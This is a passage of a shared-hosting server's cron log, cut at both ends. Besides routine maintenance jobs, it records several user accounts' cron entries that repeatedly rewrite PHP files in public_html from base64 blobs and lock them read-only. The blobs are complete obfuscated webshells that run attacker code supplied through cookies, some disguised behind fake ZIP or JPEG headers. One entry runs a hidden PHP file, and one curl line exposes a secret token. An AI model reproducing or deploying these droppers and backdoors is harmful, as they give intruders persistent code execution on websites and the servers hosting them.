AoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:23:02 medusa CROND[16876]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:23:02 medusa CROND[16878]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:23:02 medusa CROND[16881]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:23:02 medusa CROND[16877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:23:02 medusa CROND[16882]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:23:02 medusa CROND[16880]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:23:02 medusa CROND[16888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:23:02 medusa CROND[16889]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:24:01 medusa CROND[18710]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:24:01 medusa CROND[18748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:24:01 medusa CROND[18747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:24:01 medusa CROND[18749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:24:01 medusa CROND[18750]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:24:01 medusa CROND[18752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:24:02 medusa CROND[18755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:24:02 medusa CROND[18756]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:24:02 medusa CROND[18757]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:24:02 medusa CROND[18758]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:24:02 medusa CROND[18759]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:24:02 medusa CROND[18761]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:24:02 medusa CROND[18760]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:25:01 medusa CROND[20655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:25:01 medusa CROND[20664]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:25:01 medusa CROND[20671]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:25:01 medusa CROND[20675]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:25:01 medusa CROND[20676]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:25:01 medusa CROND[20677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:25:01 medusa CROND[20678]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:25:01 medusa CROND[20680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:25:01 medusa CROND[20681]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:25:01 medusa CROND[20679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:25:01 medusa CROND[20686]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:25:01 medusa CROND[20688]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAg